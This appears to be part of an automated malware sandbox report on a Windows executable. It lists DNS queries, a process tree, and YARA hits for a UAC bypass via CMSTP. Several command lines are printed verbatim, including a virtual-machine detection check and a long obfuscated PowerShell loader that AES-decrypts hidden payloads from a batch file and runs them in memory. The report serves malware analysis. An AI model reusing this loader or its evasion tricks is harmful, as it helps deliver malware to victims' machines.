Oct 8, 2024 00:29:33.764405966 CEST	192.168.2.8	1.1.1.1	0xa91	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 00:29:33.772066116 CEST	1.1.1.1	192.168.2.8	0xa91	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

Target ID:	0
Start time:	18:29:04
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\XgKnAQpuPM.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\XgKnAQpuPM.exe"
Imagebase:	0x7ff776d10000
File size:	3'571'712 bytes
MD5 hash:	52C1ACDCBB715DD099648B26B98254E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	18:29:05
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c "vclib.bat"
Imagebase:	0x7ff7d9ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	18:29:05
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	18:29:05
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get Model
Imagebase:	0x7ff615920000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	18:29:05
Start date:	07/10/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
Imagebase:	0x7ff6add80000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	18:29:07
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));
Imagebase:	0x7ff7d9ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	18:29:07
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.2185544424.000001C6916F8000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.2029388668.000001C68BEA1000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.2185544424.000001C691B00000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.2185544424.000001C690CF8000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	18:29:13
Start date:	07/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3352 -s 1576
Imagebase:	0x7ff6a78f0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	18:29:15
Start date:	07/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff6b7a40000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true